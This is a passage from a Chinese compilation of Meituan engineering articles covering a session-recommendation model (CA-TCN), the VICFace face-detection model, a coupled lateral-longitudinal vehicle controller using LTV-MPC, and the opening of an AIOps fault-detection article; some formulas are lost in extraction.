验结果证明了 CA-TCN 通过利用 TCN 模型和跨会话信息在会话推荐任务上都实现

了性能的逐步提升。

 ● CA-TCN(ca.exl)： 是 CA-TCN 的 变 体， 它 仅 包 含 时 间 卷 积 神 经 网 络、

Cross-Session Item-Graph 和 Session-Context graph 的跨会话信息不

包含在内。

 ● CA-TCN(sc.exl)： 是 CA-TCN 的 变 体， 其 中 包 含 了 Cross-Session 

Item-Graph 的 item-level 的 跨 会 话 信 息， 但 不 包 括 session-level 的

Cross-Session Item-Graph。
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图 4　CA-TCN 模型不同组成部分的实验结果

未来工作

目前该论文已经申请了专利，后续我们将在美团多个业务线的会话推荐和序列推荐任

务上进行探索落地。 特别地， CA-TCN 模型在电商数据集 Yoochoose 上进行了性

能验证，证明 CA-TCN 模型适用于具有商品属性的电商场景，未来在“团好货”和

“美团优选”等具有商品属性的业务线中都可以尝试应用。
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自然场景人脸检测技术实践

作者：振华　欢欢　晓林

一、 背景

人脸检测技术是通过人工智能分析的方法自动返回图片中的人脸坐标位置和尺寸大

小，是人脸智能分析应用的核心组成部分，具有广泛的学术研究价值和业务应用价

值，比如人脸识别、人脸属性分析（年龄估计、性别识别、颜值打分和表情识别）、人

脸 Avatar、智能视频监控、人脸图像过滤、智能图像裁切、人脸 AR 游戏等等。因

拍摄的场景不同，自然场景环境复杂多变，光照因素也不可控，人脸本身多姿态以及

群体间的相互遮挡给检测任务带来了很大的挑战（如图 1 所示）。在过去 20 年里，该

任务一直是学术界和产业界共同关注的热点。

自然场景人脸检测在美团业务中也有着广泛的应用需求，为了应对自然场景应用本

身的技术挑战，同时满足业务的性能需求，美团视觉智能中心（Vision Intelligence 

Center，VIC）从底层算法模型和系统架构两个方面进行了改进，开发了高精度人脸

检测模型 VICFace。而且 VICFace 在国际知名的公开测评集 WIDER FACE 上达

到了行业主流水平。

图 1　自然场景人脸检测样本示例
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二、 技术发展现状

跟深度学习不同，传统方法解决自然场景人脸检测会从特征表示和分类器学习两

个方面进行设计。最有代表性的工作是 Viola-Jones 算法 [2]，它利用手工设计的

Haar-like 特征和 Adaboost 算法来完成模型训练。传统方法在 CPU 上检测速度

快，结果可解释性强，在相对可控的环境下可以达到较好的性能。但是，当训练数

据规模成指数增长时，传统方法的性能提升相对有限，在一些复杂场景下，甚至无

法满足应用需求。

随着计算机算力的提升和训练数据的增长，基于深度学习的方法在人脸检测任务上取

得了突破性进展，在检测性能上相对于传统方法具有压倒性优势。基于深度学习的人

脸检测算法从算法结构上可以大致分为三类：

1）基于级联的人脸检测算法。

2）两阶段人脸检测算法。

3）单阶段人脸检测算法。

其中，第一类基于级联的人脸检测方法（如 Cascade CNN[3]、MTCNN[4]）运行速

度较快、检测性能适中，适用于算力有限、背景简单且人脸数量较少的场景。第二

类两阶段人脸检测方法一般基于 Faster-RCNN[6] 框架，在第一阶段生成候选区域，

然后在第二阶段对候选区域进行分类和回归，其检测准确率较高，缺点是检测速度

较慢，代表方法有 Face R-CNN[9] 、ScaleFace[10]、FDNet[11]。最后一类单阶段

的人脸检测方法主要基于 Anchor 的分类和回归，通常会在经典框架（如 SSD[12]、

RetinaNet[13]）的基础上进行优化，其检测速度较两阶段法快，检测性能较级联法优，

是一种检测性能和速度平衡的算法，也是当前人脸检测算法优化的主流方向。

三、 优化思路和业务应用

在自然场景应用中，为了同时满足精度需求以及达到实用的目标，美团视觉智能中心

（Vision Intelligence Center，VIC）采用了主流的 Anchor-Based 单阶段人脸检测
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方案，同时在数据增强和采样策略、模型结构设计和损失函数等三方面分别进行了优

化，开发了高精度人脸检测模型 VICFace，以下是相关技术细节的介绍。

1.	数据增强和采样策略

单 阶 段 通 用 目 标 检 测 算 法 对 数 据 增 强 方 式 比 较 敏 感， 如 经 典 的 SSD 算 法 在

VOC2007[50] 数据集上通过数据增强性能指标 mAP 提升 6.7。经典单阶段人脸检测

算法 S3FD[17] 也设计了样本增强策略，使用了图片随机裁切，图片固定宽高比缩放，

图像色彩扰动和水平翻转等。

百度在 ECCV2018 发表的 PyramidBox[18] 提出了 Data-Anchor 采样方法，将图

像中一个随机选择的人脸进行尺度变换变成一个更小 Anchor 附近尺寸的人脸，同时

训练图像的尺寸也进行同步变换。这样做的好处是通过将较大的人脸生成较小的人

脸，提高了小尺度上样本的多样性，在 WIDER FACE[1] 数据集 Easy、Medium、

Hard 集合上分别提升 0.4（94.3->94.7），0.4（93.3->93.7），0.6（86.1->86.7）。

ISRN[19] 将 SSD 的样本增强方式和 Data-Anchor 采样方法结合，模型检测性能进

一步提高。

而 VICFace 在 ISRN 样本增强方式的基础上对语义模糊的超小人脸做了过滤。而

mixup[22] 在图像分类和目标检测中已经被验证有效，现在用于人脸检测，有效地防止

了模型过拟合问题。考虑到业务数据中人脸存在多姿态、遮挡和模糊的样本，且这些

样本在训练集中占比小，检测难度大，因此在模型训练时动态的给这些难样本赋予更

高的权重从而有可能提升这些样本的召回率。

2.	模型结构设计

人脸检测模型结构设计主要包括检测框架、主干网络、预测模块、Anchor 设置与正

负样本划分等四个部分，是单阶段人脸检测方法优化的核心。

 ● 检测框架

近年来单阶段人脸检测框架取得了重要的发展，代表性的结构有 S3FD[17] 中使用的
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SSD，SFDet[25] 中使用的 RetinaNet，SRN[23] 中使用的两步结构（后简称 SRN）

以及 DSFD[24] 中使用的双重结构（后简称 DSFD），如下图 2 所示。其中，SRN

是一种单阶段两步人脸检测方法，利用第一步的检测结果，在小尺度人脸上过滤易

分类的负样本，改善正负样本数量的均衡性，针对大尺度的人脸采用迭代求精的

方式进行人脸定位，改善大尺度人脸的定位精度，提升了人脸检测的准确率。在

WIDER FACE 上测评 SRN 取得了最好的检测效果（按标准协议用 AP 平均精度

来衡量），如表 1 所示。

S3FD:
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SFDet:

SRN:
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DSFD:

图 2　四种检测结构

表 1　Backbone 为 ResNet50 时，四种检测结构在 WIDER FACE 上的评估结果

VICFace 继承了当前性能最好的 SRN 检测结构，同时为了更好的融合自底向上和自

顶向下的特征，为不同特征不同通道赋予不同的权重，以 P4 为例，其计算式为：

其中 WC4 向量的元素个数与 Conv(C4) 特征的通道数相等，WP4 与 Upsam-

ple(P5) 的通道数相等，WC4 与 WP4 是可学习的，其元素值均大于 0，且 WC4 与
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WP4 对应元素之和为 1，结构如图 3 所示。

图 3　视觉智能中心 VICFace 网络整体结构图

 ● 主干网络

单阶段人脸检测模型的主干网络通常使用分类任务中的经典结构（如 VGG[26]、

ResNet[27] 等）。其中，主干网络在 ImageNet 数据集上分类任务表现越好，其在

WIDER FACE 上的人脸检测性能也越高，如表 2 所示。为了保证检测网络得到

更高的召回，在性能测评时 VICFace 主干网络使用了在 ImageNet 上性能较优的

ResNet152 网络（其在 ImageNet 上 Top1 分类准确率为 80.26），并且在实现时将

Kernel 为 7x7，Stride 为 2 的卷积模块调整为为 3 个 3x3 的卷积模块，其中第一个

模块的 Stride 为 2，其它的为 1；将 Kernel 为 1x1，Stride 为 2 的下采样模块替换

为 Stride 为 2 的 Avgpool 模块。
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表 2　不同主干网络在 ImageNet 的性能对比和其在 RetinaNet 框架下的检测精度

 ● 预测模块

利用上下文信息可以进一步提高模型的检测性能。SSH[36] 是将上下文信息用于单阶

段人脸检测模型的早期方案，PyramidBox、SRN、DSFD 等也设计了不同上下文

模块。如图 4 所示，SRN 上下文模块使用 1xk，kx1 的卷积层提供多种矩形感受野，

多种不同形状的感受野助于检测极端姿势的人脸；DSFD 使用多个带孔洞的卷积，极

大的提升了感受野的范围。

图 4　不同网络结构中的 Context Module

在 VICFace 中，将带孔洞的卷积模块和 1xk，kx1 的卷积模块联合作为 Context 

Module，既提升了感受野的范围也有助于检测极端姿势的人脸，同时使用 Maxout

模块提升召回率，降低误检率。它还利用 Cn 层特征预测的人脸位置，校准 Pn 层特

征对应的区域，如图 5 所示。Cn 层预测的人脸位置相对特征位置的偏移作为可变卷

积的 Offset 输入，Pn 层特征作为可变卷积的 Data 输入，经过可变卷积后特征对应
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的区域与人脸区域对应更好，相对更具有表示能力，可以提升人脸检测模型的性能。

图 5　自研检测模型结构中的预测模块

 ● Anchor 设置与正负样本划分

基于 Anchor 的单阶段人脸检方法通过 Anchor 的合理设置可以有效的控制正负样本

比例和缓解不同尺度人脸定位损失差异大的问题。现有主流人脸检测方法中 Anchor

的大小设置主要有以下三种（S 代表 Stride）：

根据数据集中人脸的特点，Anchor 的宽高也可以进一步丰富，如 {1}，{0.8}，{1，

0.67}。

在自研方案中，在 C3、P3 层，Anchor 的大小为 2S 和 4S，其它层 Anchor 大小

为 4S（S 代表对应层的 Stride），这样的 Anchor 设置方式在保证人脸召回率的同时，

减少了负样本的数量，在一定程度上缓解了正负样本不均衡现象。根据人脸样本宽高

比的统计信息，将 Anchor 的宽高比设置为 0.8，同时将 Cn 层 IoU 大于 0.7 的样本

划分为正样本，小于 0.3 的划分为负样本，Pn 层 IoU 大于 0.5 的样本划分为正样本，

小于 0.4 的划分为负样本。
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3. 损失函数

人脸检测的优化目标不仅需要区分正负样本（是否是人脸），还需要定位出人脸位

置和尺寸。S3FD 中区分正负样本使用交叉熵损失函数，定位人脸位置和尺寸使用

Smooth L1 Loss，同时使用困难负样本挖掘解决正负样本数量不均衡的问题。另一

种缓解正负样本不均衡带来的性能损失更直接的方式是 Lin 等人提出 Focal Loss[13]。

UnitBox[41] 提出 IoU Loss 可以缓解不同尺度人脸的定位损失差异大导致的性能损

失。AlnnoFace[40] 同时使用 Focal Loss 和 IoU Loss 提升了人脸检测模型的性能。

引入其它相关辅助任务也可以提升人脸检测算法的性能，RetinaFace[42] 引入关键点

定位任务，提升人脸检测算法的定位精度；DFS[43] 引入人脸分割任务，提升了特征的

表示能力。

综合前述方法的优点，VICFace 充分利用人脸检测及相关任务的互补信息，使用多

任务方式训练人脸检测模型。在人脸分类中使用 Focal Loss 来缓解样本不均衡问题，

同时使用人脸关键点定位和人脸分割来辅助分类目标的训练，从而提升整体的分类准

确率。在人脸定位中使用 Complete IoU Loss[47]，以目标与预测框的交并比作为损

失函数，缓解不同尺度人脸损失的差异较大的问题，同时兼顾目标和预测框的中心点

距离和宽高比差异，从而可以达到更好整体检测性能。

4. 优化结果和业务应用

在集群平台的支持下，美团视觉智能中心的自然场景人脸检测基础模型 VICFace 与

现有主流方案进行了性能对比，在国际公开人脸检测测评集 WIDER FACE 的三个验

证集 Easy、Medium、Hard 中均达到领先水平（AP 为平均精度，数值越高越好），

如图 6 和表 3 所示。
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图 6　VICFace 以及当前主流人脸检测方法在 WIDER FACE 上的测评结果

表 3　VICFace 以及当前主流人脸检测方法在 WIDER FACE 上的测评结果

注：SRN 是中科院在 AAAI2019 提出的新方法，DSFD 是腾讯优图在 CVPR2019

提出的新方法，PyramidBox++ 是百度在 2019 年提出的新方法，AInnoFace 是创

新奇智在 2019 提出的新方法，RetinaFace 是 ICCV2019 Wider Challenge 亚军。

在业务应用中，自然场景人脸检测服务目前已接入美团多个业务线，满足了业务在

UGC 图像智能过滤和广告 POI 图像展示等应用的性能需求，前者保护用户隐私，

预防侵犯用户肖像权，后者可以有效的预防图像中人脸局部被裁切的现象，从而提

升了用户体验。此外，VICFace 还为其它人脸智能分析应用提供了核心基础模型，

如自动检测后厨工作人员的着装合规性（是否穿戴帽子和口罩），为食品安全增加了

一道保障。
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在未来的工作中，为了给用户提供更好的体验，同时满足高并发的需求，在模型结构

设计和模型推理效率方面将会做进一步探索和优化。此外，在算法设计方面，基于

Anchor-Free 的单阶段目标检测方法近年来在通用目标检测领域表现出较高的潜力，

也是视觉智能中心未来会关注的重要方向。
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技术解析	|	横纵一体的无人车控制方案

作者：学韬

01 两位“司机”操控下的无人车

一辆车可以同时由两个司机操控行驶吗？好像除了驾校的教练车以外，没有车是这么

开的。

但这个在常人看来有些匪夷所思的问题，它的答案对于无人驾驶领域而言却是肯定

的——经典的车辆控制方案，是通过两个分别控制纵向、横向的控制器配合实现的。

如图 1 所示，在自动驾驶行业的经典控制方案中，横向控制与纵向控制的求解是模型

解耦的独立算法 [1,2]，仅通过单向、单次的依赖参数传递进行配合（虚线框中为控制

模块，箭头表示参数依赖关系）。

图 1　经典的横纵分离控制方案

不难想象，这相当于“两个司机同开一车”，纵向司机操作踏板（不需看路、只需看速

度表）来实现计划速度，横向司机操作方向盘（需要看路）来实现计划路径。控制模块

集二人之力，尽可能准确地“实现”上游规划模块给出的规划轨迹（包含计划路径和

计划速度）。

这种乍看之下“不合常理”的横纵分离控制方案被业界广泛采用，是有其原因的：

1. 大事化小 ——将轨迹跟踪问题分解为纵、横向两个子问题，能够减小单个问
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题的复杂度，并且在模型中避免交叉乘积等非线性（从而采用线性的横向模

型），有利于控制的快速求解。

2. 耦合不强 ——常规车辆的转向结构往往限定在 30 度角以内，行车路径的曲

率有限，转向轮横向力在车身纵轴的分量很小，纵向控制基本不受横向状态

影响、可独立进行。

02 横纵分离方案的潜在问题

经典的横纵分离控制方案虽然是可行的，但显然不符合人类的驾驶方式。

事实上，对于轨迹跟踪这一任务，横向、纵向是紧密联系的 [3-5]，主要包括以下三

个方面。

(1)	车辆动态建模包含横纵的相互耦合

真实车辆存在天然的横纵耦合，真正的老司机在操控时会考虑车辆横向行为、纵向行

为之间的相互影响。例如，过弯时的纵向车速会影响横向加速度，而转向动作也会有

纵向制动效果。事实上，运动学耦合 [1]、轮胎力耦合 [2]、载荷转移耦合 [3] 是车辆模型

中的三大横纵耦合 [4]。

横纵分离控制方案中，纵向控制、横向控制各自采用独立的模型，只能通过状态参数

进行交互，因此无法在求解前对上述耦合进行合理描述，而模型的准确性会进一步影

响到控制解的最优性。

(2)	行车约束构建需要横纵的共同参与

行车约束决定了控制量的可行空间，可以理解成老司机对行驶安全范围和车辆性能极

限的把握。有一些行车约束的描述可以基于横 / 纵单个方向的特征，如转向角上限约

束、踏板上限约束等；但也有一些行车约束的描述必须要横、纵两个方向特征的共同

参与，如位置边界约束（横坐标与纵坐标共同参与）、最大向心加速度约束（横向转角

与纵向速度共同参与）等。

横纵分离控制方案中，横、纵控制算法各自只拥有一个方向的求解空间，无法描述横
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纵联合参与的行车约束。以最大向心加速度约束为例，分离方案中的横向控制只能通

过抑制转向角、不能通过减速来避免向心加速度越限，实际丢失了一部分可行集，如

下图所示：

图 2　向心加速度约束所对应可行域的示意图

(3) 跟踪性能评价存在横纵的彼此竞争

轨迹跟踪看重的是横纵两个方向的综合跟踪性能指标，而两个单向指标存在一定的竞

争关系 [6]。横纵分离的控制方案中，横、纵控制算法各自为政，分别只盯着一个方向

的跟踪性能指标，某些场景下可能顾此失彼、出现横纵跟踪性能失衡的结果。

如高速过弯时，纵向控制能轻易地跟踪目标速度，但会提高横向控制在时间和角度上

的精度要求，增大横向误差。但如果从统筹的角度来看，此时的纵向跟踪应适当让

步、主动减速，在横向上换取更多的性能改善。

03 横纵一体方案的设计思路

针对横纵分离控制的上述问题，我们尝试开发一种工程可行的横纵一体控制方案。

针对上述提到的、轨迹跟踪任务中横纵之间的三方面联系，横纵一体控制方案的设计

要点包括：
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采用横纵耦合的车辆建模——进而对车辆的动态特性进行更准确的描述。

采用横纵联合的约束形式——进而对控制量的可行集进行更完备的构建。

采用横纵综合的性能评价——进而对两个单向的跟踪性能进行统筹协调。

需要注意的是，由于横纵耦合建模难以避免交叉乘积等非线性 [1,7]，克服非线性问题、

使控制器达到工程实用的计算速度是方案实现中的核心难点。

现有文献中考虑横纵耦合模型的控制研究通常采用基于滑模控制（Sliding Mode 

Control，SMC）的方案 [3,4,8-10]，构造特定的变结构控制律直接进行非线性控制，使

系统状态的演变保持在预先设计的滑动面邻域内（滑动面通常设计为横纵向误差渐趋

至零的状态面）。但非线性控制律无法考虑状态约束，且其构造结果与难度与模型强

相关，控制律的可迁移性较差。

在这里，我们采用另一种技术方案——线性时变的模型预测控制（Linear Time-Vary-

ing Model Predictive Control，LTV-MPC）来处理非线性的横纵耦合模型。

该方案的控制效果和计算性能介于常规（线性时不变）MPC 和非线性 MPC 之间，

是一种针对非线性系统或时变系统的实用控制方法 [11-13]，并且有灵活的约束处理能

力 [1,13]。

LTV-MPC 方案的具体实现将在下一部分介绍。

概括来说，该方案的本质是在每一个控制帧构建一个控制量序列的优化问题，横纵耦

合建模、横纵联合约束、横纵跟踪统筹这三个设计要点分别对应这一优化问题的状态

方程约束、不等式约束、评价函数，如图 3 所示。
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图 3　横纵一体控制方案的设计思路

需要注意的是，“线性时变模型预测控制”中的“线性”表示进入求解器的状态方程约

束、不等式约束在每一帧都是线性的，以此确保计算速度；而“时变”表示在不同帧之

间，线性的状态方程约束、不等式约束会发生变化，以此描述真实系统的非线性。

04 LTV-MPC 横纵一体控制的具体实现

4.1	横纵耦合动态与横纵联合约束的构建

建模过程需要对被控车辆全部或主要的横纵耦合进行充分描述，横纵控制量（如横向

转向角、纵向加速度）u 和横纵状态量（如车辆位置、横摆角、纵向速度）x 均以待决

策变量的形式加入到模型中，并构造更符合真实世界情景的横纵联合约束。

以下图所示的横纵耦合二轮运动学模型为例，取系统状态量为 x=[Vx　Xr　Yr　ψ]T、控

制量为 u=[δ　a]T（加速度指令 α 后续会通过查表映射到踏板指令），其动态特性可建

模为：
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以最大向心加速度为例，系统的横纵联合约束 ( ), ≤g x u m
可建模为：

图 4　横纵耦合二轮运动学模型的示意图

二轮运动学模型虽然简单，但已经描述了车辆最重要的横纵耦合——运动学耦合。若

采用更复杂的车辆模型，也可用类似的方式完成横纵耦合建模。

4.2	动态特性及约束的线性化

上一步得到的横纵耦合模型通常包含变量的交叉乘积、三角函数等非线性项，需要进

行线性化以降低复杂度——这是应对横纵耦合模型非线性困难的核心步骤。其核心

思想是，选取当前状态量 x 和上帧控制量 u 作为“基点”，然后将非线性模型在基点

( ),x u 处进行一阶泰勒展开 [4]。

这一方法的合理性在于，在未来一小段预测域（如 1 秒）之内，系统状态 x 和控制量

u 基本会在当前时刻值 ( ),x u 的附近变动，因此在该点所得的线性化模型基本具备

足够的描述精度。
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具体而言，动态特性 ( )x = f x, u 的线性化结果为：

( ) ( )= − + − +x A x x B u u d

其中：

( ) ( )
( )
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, , ,∂ ∂

= = =
∂ ∂x u x u

f fA B d f x u
x u

仍以二轮运动学模型为例，有：
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横纵联合约束 ( ), ≤g x u m 的线性化结果为：
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完成线性化之后，为将连续模型适配数值计算求解器，需按照特定的离散时间间隔τ

（通常就是一个控制帧的长度），采用特定的离散化方法，如零阶离散矩阵变换公式 [14]：

进行尽可能精确的离散化处理，得到离散的线性化模型：

其中下标 k 表示 ( )t kτ+ 时刻的待解向量值，t 为当前时刻。

4.3	横纵综合评价函数的构建

为求解最优控制量，还需构建系统状态 x 的评价函数 Jx 。需要注意的是，相较于横

纵分离控制针对单个方向跟踪性能的优化，横纵一体控制的目标是横纵两个方向跟踪

性能的协调和统筹，因此 Jx 应该描述横纵两个方向的综合跟踪性能。

仍以二轮运动学模型为例，可定义：

其中 Vq 、 Xq 、 Yq 、 qψ 分别为速度误差、纵向位置误差、横向位置误差、横摆角

误差在综合评价函数中的惩罚权重——前两者为纵向评价部分，后两者为横向评价部

分。上标 ref 表示计划轨迹，由上游的规划模块给出。

在这样的评价函数设计之下，某时刻 Jx 的值越小，则表示该时刻的综合跟踪性能越

好。并且不难看出，改善大误差项对 Jx 的边际贡献更大，因此最小化 Jx 可以实现横

纵跟踪性能的统筹协调，避免某个方向的误差过大。

例如高速过弯场景下，横纵一体控制器会在过弯处进行适当的主动减速，牺牲少许的

纵向跟踪性能来换取更多的横向跟踪性能，使 Jx 尽可能小——这种全局统筹的思想

其实更符合真实的运动控制需求。
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4.4	控制量求解与下发

选取预测步数为 N （预测域为 Nτ ），结合 4.2 步所得的线性化模型和 4.3 步所得的

评价函数，能够形成如下的 MPC 问题 [5]：

该问题本质是一个线性约束二次规划问题。接下来，只需同常规 MPC 一样进行求

解，即可解得最优的控制序列 * *
1 N∼u u ，且状态预测轨迹 * *

1 N∼x x 相伴而生，这一轨

迹能够可视化表示为与规划轨迹类似的、包含速度信息的行进轨迹。

将 *
1u 下发后，即可等待下一个控制帧的到来，然后重新回到 4.2 步（如需更新模型，

则应回到 4.1 步），循环往复执行。

05 小结

本文针对自动驾驶横纵分离控制方案无法描述车辆横纵耦合、不能考虑横纵联合约

束、没有横纵统筹能力等不足，给出了一种考虑横纵联合约束的横纵一体车辆控制

方案。

该方案支持在建模时考虑车辆的横纵耦合，提高模型准确性；采用时变线性化 MPC

框架来克服横纵耦合及约束所带来的非线性，改善求解耗时和可靠性；在横纵联合可

行域中进行综合跟踪性能的寻优，具有一定的横纵统筹能力。

注释

1. 横纵以车身定义，车身旋转时，相邻时刻的横纵物理量会相互贡献
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2. 纵向车速高时，横向力会对转向更敏感；横向转向角大时，纵向力会有额外

的制动分量

3. 纵向减速时，部分载荷向前轮转移，增强轮胎横向力

4. 另一种常用的线性化方式是在 (0，0) 处展开，但其描述精度相对较差。还有

一种线性化方法是为每个预测时刻 ( )t kτ+ 各取一个基点 ( ),k kx u 、得到一

簇基点 [12]，也能达到较好的描述精度，但为简化表达，本文不再赘述。

5. 在这里， Jx 写成了目标函数中的矩阵形式 。
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AIOps 在美团的探索与实践——故障发现篇

作者：胡原　锦冬　俊峰　长伟　永强

一、背景

AIOps，最初的定义是 Algorithm IT Operations，是利用运维算法来实现运维的自

动化，最终走向无人化运维。随着技术成熟，逐步确定为 Artificial Intelligence for 

IT Operations——智能运维，将人工智能应用于运维领域，基于已有的运维数据

（日志、监控信息、应用信息等），通过机器学习的方式来进一步解决自动化运维无法

解决的问题。

早期的运维工作大部分是由运维人员手工完成的，手工运维在互联网业务快速扩张、

人力成本高企的时代，难以维系。于是，自动化运维应运而生，它主要通过可被自动

触发、预定义规则的脚本，来执行常见、重复性的运维工作，从而减少人力成本，提

高运维的效率。总的来说，自动化运维可以认为是一种基于行业领域知识和运维场

景领域知识的专家系统。随着整个互联网业务急剧膨胀，以及服务类型的复杂多样，

“基于人为指定规则”的专家系统逐渐变得力不从心，自动化运维的不足，日益凸显，

当前美团在业务监控和运维层面也面临着同样的困境。

DevOps 的 出 现， 部 分 解 决 了 上 述 问 题， 它 强 调 从 价 值 交 付 的 全 局 视 角， 但

DevOps 更强调横向融合及打通，AIOps 则是 DevOps 在运维（技术运营）侧的高

阶实现，两者并不冲突。AIOps 不依赖于人为指定规则，主张由机器学习算法自动地

从海量运维数据（包括事件本身以及运维人员的人工处理日志）中不断地学习，不断

提炼并总结规则。AIOps 在自动化运维的基础上，增加了一个基于机器学习的大脑，

运维 / 安全
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指挥监测系统采集大脑决策所需的数据，做出分析、决策，并指挥自动化脚本去执行

大脑的决策，从而达到运维系统的整体目标。综上看，自动化运维水平是 AIOps 的

重要基石，而 AIOps 将基于自动化运维，将 AI 和运维很好地结合起来，这个过程需

要三方面的知识：

1. 行业、业务领域知识，跟业务特点相关的知识经验积累，熟悉生产实践中的

难题。

2. 运维领域知识，如指标监控、异常检测、故障发现、故障止损、成本优化、

容量规划和性能调优等。

3. 算法、机器学习知识，把实际问题转化为算法问题，常用算法包括如聚类、

决策树、卷积神经网络等。

美团技术团队在行业、业务领域知识和运维领域的知识等方面有着长期的积累，已经

沉淀出不少工具和产品，实现了自动化运维，同时在 AIOps 方面也有一些初步的成

果。我们希望通过在 AIOps 上持续投入、迭代和钻研，将之前积累的行业、业务和

运维领域的知识应用到 AIOps 中，从而能让 AIOps 为业务研发、产品和运营团队赋

能，提高整个公司的生产效率。

二、技术路线规划

2.1	AIOps 能力建设

AIOps 的建设可以先由无到局部单点探索，在单点探索上得到初步的成果，再对单点

能力进行完善，形成解决某个局部问题的运维 AI 学件，再由多个具有 AI 能力的单运

维能力点组合成一个智能运维流程。行业通用的演进路线如下：

1. 开始尝试应用 AI 能力，还无较为成熟的单点应用。

2. 具备单场景的 AI 运维能力，可以初步形成供内部使用的学件。

3. 有由多个单场景 AI 运维模块串联起来的流程化 AI 运维能力，可以对外提供

可靠的运维 AI 学件。
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4. 主要运维场景均已实现流程化免干预 AI 运维能力，可以对外提供供可靠的

AIOps 服务。

5. 有核心中枢 AI，可以在成本、质量、效率间从容调整，达到业务不同生命周

期对三个方面不同的指标要求，可实现多目标下的最优或按需最优。

所谓学件，亦称 AI 运维组件 [1]（南京大学周志华老师原创），类似程序中的 API 或

公共库，但 API 及公共库不含具体业务数据，只是某种算法，而 AI 运维组件（或称

学件），则是在类似 API 的基础上，兼具对某个运维场景智能化解决的“记忆”能

力，将处理这个场景的智能规则保存在了这个组件中，学件（Learnware）= 模型

（Model）+ 规约（Specification）。AIOps 具体的能力框架如下图 1 所示：

图 1　AIOps 能力框架图



运维 / 安全　<　1025

2.2	关联团队建设

AIOps 团队内部人员根据职能可分为三类团队，分别为 SRE 团队、开发工程师（稳

定性保障方向）团队和算法工程师团队，他们在 AIOps 相关工作中分别扮演不同的

角色，三者缺一不可。SRE 能从业务的技术运营中，提炼出智能化的需求点，在开

发实施前能够考虑好需求方案，产品上线后能对产品数据进行持续的运营。开发工程

师负责进行平台相关功能和模块的开发，以降低用户的使用门槛，提升用户的使用效

率，根据企业 AIOps 程度和能力的不同，运维自动化平台开发和运维数据平台开发

的权重不同，在工程落地上能够考虑好健壮性、鲁棒性、扩展性等，合理拆分任务，

保障成果落地。算法工程师则针对来自于 SRE 的需求进行理解和梳理，对业界方案、

相关论文、算法进行调研和尝试，完成最终算法落地方案的输出工作，并不断迭代优

化。各团队之间的关系图如下图 2 所示：

图 2　AIOps 关联团队关系图
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2.3	演进路线

当前，我们在质量保障方面的诉求最迫切，服务运维部先从故障管理领域探索 AIOps

实践。在故障管理体系中，从故障开始到结束主要有四大核心能力，即故障发现、告

警触达、故障定位、故障恢复。故障发现包含了指标预测、异常检测和故障预测等方

面，主要目标是能及时、准确地发现故障；告警触达包含了告警事件的收敛、聚合和

抑制，主要目标是降噪聚合，减少干扰；故障定位包含了数据收集、根因分析、关联

分析、智能分析等，主要目标是能及时、精准地定位故障根因；故障恢复部分包含了

流量切换、预案、降级等，主要目标是及时恢复故障，减少业务损失，具体关系如下

图 3 所示：

图 3　故障管理体系核心能力关系图

其中在故障管理智能化的过程中，故障发现作为故障管理中最开始的一环，在当前海

量指标场景下，自动发现故障和自动异常检测的需求甚为迫切，能极大地简化研发策

略配置成本，提高告警的准确率，减少告警风暴和误告，从而提高研发的效率。除此

之外，时序数据异常检测其实是基础能力，在后续告警触达、故障定位和故障恢复环

节中，存在大量指标需要进行异常检测。所以将故障发现作为当前重点探索目标，解
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决当前海量数据场景下人工配置和运营告警策略、告警风暴和准确率不高的核心痛

点。整个 AIOps 体系的探索和演进路线如下图 4 所示。每个环节均有独立的产品演

进，故障发现 -Horae（美团服务运维部与交易系统平台部共建项目）、告警触达 - 告

警中心、故障定位 - 雷达、故障恢复 - 雷达预案。

图 4　AIOps 在故障管理方面的演进路线

三、AIOps 之故障发现

3.1	故障发现

从美团现有的监控体系可以发现，绝大多数监控数据均为时序数据（Time Series），

时序数据的监控在公司故障发现过程中扮演着不可忽视的角色。无论是基础监控

CAT[2]、MT-Falcon[3]、Metrics（App 端监控），还是业务监控 Digger（外卖业务监

控）、Radar（故障发现与定位平台）等，均基于时序数据进行异常监控，来判断当前

业务是否在正常运行。然而从海量的时序数据指标中可以发现，指标种类繁多、关系

复杂（如下图 5 所示）。在指标本身的特点上，有周期性、规律突刺、整体抬升和下

降、低峰期等特点，在影响因素上，有节假日、临时活动、天气、疫情等因素。原有

监控系统的固定阈值类监控策略想要覆盖上述种种场景，变得越来越困难，并且指标

数量众多，在策略配置和优化运营上，人力成本将成倍增长。若在海量指标监控上，

能根据指标自动适配合适的策略，不需要人为参与，将极大的减少 SRE 和研发同学

在策略配置和运营上的时间成本，也可让 SRE 和研发人员把更多精力用在业务研发

上，从而产生更多的业务价值，更好地服务于业务和用户。
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图 5　时序数据种类多样性

3.2	时序数据自动分类

在时序数据异常检测中，对于不同类型的时序数据，通常需要设置不同的告警规则。

比如对于 CPU Load 曲线，往往波动剧烈，如果设置固定阈值，瞬时的高涨会经常

产生误告，SRE 和研发人员需要不断调整阈值和检测窗口来减少误告，当前，通过

Radar（美团内部系统）监控系统提供的动态阈值策略，然后参考历史数据可以在一

定程度上避免这一情况。如果系统能够提前预判该时序数据类型，给出合理的策略

配置建议，就可以提升告警配置体验，甚至做到自动化配置。而且在异常检测中，

时序数据分类通常也是智能化的第一步，只有实现智能化分类，才能自动适配相应

的策略。

目前，时间序列分类主要有两种方法，无监督的聚类和基于监督学习的分类。Yad-

ing[4] 是一种大规模的时序聚类方法，它采用 PAA 降维和基于密度聚类的方法实现快

速聚类，有别于 K-Means 和 K-Shape[5] 采用互相关统计方法，它基于互相关的特

性提出了一个新颖的计算簇心的方法，且在计算距离时尽量保留了时间序列的形状。

对 KPI 进行聚类，也分为两种方法，一种是必须提前指定类别数目（如 K-Means、

K-Shape 等）的方法，另一种是无需指定类别数目（如 DBSCAN 等），无需指定类

别数目的聚类方法，类别划分的结果受模型参数和样本影响。至于监督学习的分类方

法，经典的算法主要包括 Logistics、SVM 等。
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3.2.1	分类器选择

根据当前监控系统中时序数据特点，以及业内的实践，我们将所有指标抽象成三种类

别：周期型、平稳型和无规律波动型 [6]。我们主要经历了三个阶段的探索，单分类器

分类、多弱分类器集成决策分类和卷积神经网络分类。

1. 单分类器分类：本文训练了 SVM、DBSCAN、One-Class-SVM（S3VM）

三种分类器，平均分类准确率达到 80% 左右，但无规律波动型指标的分类准

确率只有 50% 左右，不满足使用要求。

2. 多弱分类器集成决策分类：参考集成学习相关原理，通过对 SVM、DB-

SCAN、S3VM 三种分类器集成投票，提高分类准确率，最终分类准确率提高

7 个百分点，达到 87%。

3. 卷积神经网络分类：参考对 Human Activity Recognition（HAR）进行分类

